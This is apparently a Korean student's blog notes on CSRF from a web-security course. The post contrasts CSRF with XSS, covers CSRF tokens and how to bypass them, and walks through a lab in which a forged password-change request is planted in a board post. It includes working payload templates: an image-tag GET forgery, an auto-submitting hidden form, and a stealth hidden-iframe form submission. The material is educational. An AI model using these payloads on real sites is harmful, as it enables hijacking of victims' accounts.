12주차 CSRF POST GET / CSRF VS XSS / CSRF WITH CSS / CSRF TOKEN
CSRF
- 클라이언트 측 요청 위조
CSRF VS XSS
- CSRF 클라이언트 측 요청위조 서버 응답 -> 피해자 원하지 않는 요청 실행
- XSS 클라이언트측 스크립트 삽입 클라이언트 응답 -> 악성스크립트 실행
- 두개는 별개지만 CSRF가 존재하면 대부분 XSS를 찾을 수 있다.
CSRF WITH XSS
- 공격 성공률 증가
- GET METHOD/POST METHOD
- 포스트 메소드로 응답을 바꾸면 반만 CSRF를 막는것이다 XSS포인트가 완전하게 존재하지 않을때만 사용 가능하다
GET METHOD
<script>
var i = new Image();
i.src = "Bad Request Link";
</script>
- 스크립트 작성
<img src="Bad Reqeust Link">
- 실행되는 이미지 태그
POST METHOD
EX)
<h1>아래 버튼을 클릭해주세요!</h1>
<form method="POST" action="https://vuln-site
<input type="hidden" name="password" value="12
<input type="submit" value="Click Me">
</form>
- 버튼 유도
<form method="POST" action="https://vuln-site.com/vulnPage.php" id="myForm">
<input type="hidden" name="email" value="normaltic@test.com">
</form>
<script>
document.getElementById('myForm').submit();
</script>
- 자동 전송
<iframe width="0" height="0" border="0" name="stealthframe" id="stealthframe" style="display: none;">
</iframe>
<form method="POST" action="https://vuln-site.com/vulnPage.php" id="myForm" target="stealthframe">
<input type="hidden" name="email" value="normaltic@test.com">
</form>
<script>
document.getElementById('myForm').submit();
</script>
- 스텔스 자동전송
CSRF TOKEN
- CSRF 대응방안
- CSRF 공격을 막기위해 랜덤한 토큰값을 사용
- 페이지에 접근할때 토큰을 발행하고 값을 제출 할 때 토큰값을 함께 보내는 것
- http://링크?id=&pw=& -> http://링크?id=&pw=&csrfToken=ekekkeke
- 우회 가능
CSRF TOKEN 우회
EX)
<form>
<input>
<input type="hidden" name="csrfToken" value="ralfjfalka랜덤값">
</form>
- 폼 태그 이용
<iframe src="mypage">
<script>
토큰 가져오기
폼태그로 보내기
</script>
- iframe으로 사이트 띄운후 토큰 가져와 폼 태그로 보내기
실습페이지
get method
마이페이지 변경
회웢정보 수정 성공
인증정보 확인
요청위조 가능
리피터 넘기고
포스트 메소드 -> get방식으로 보내는거 가능 확인
관리자가 해당 링크 클릭하면 되겠군 롹인
normaltic_admin확인 링크 입력
관리자 알아챔
회원정보 수정에 성공했다는 내용 나옴
게시글에 링크 삽입함
ex)
<img src="마이페이지 비밀번호위조 페이지">
작성후 게시글 보기 링크 보기
그림이 넣어져 있긴함 비밀번호 변경 요청 날라감
'개념정리' 카테고리의 다른 글
14주차 SERVER SIDE SCRIPT / FILE UPLOAD / WEBSHELL / 파일 검증 우회 (1) | 2024.03.01 |
---|---|
13주차 DOS / DOS 공격종류 / CSRF 공격 시나리오 / REFERRER (2) | 2024.03.01 |
11주차 XSS대응방안 / EVENT HANDLER / CLIENT SCRIPT (1) | 2024.01.15 |
10주차 XSS COOKIE / DOM BASED XSS / XSS 대응방법 (0) | 2023.12.28 |
9주차 XSS /STORED XSS / CROSSED XSS /보고서 (1) | 2023.12.21 |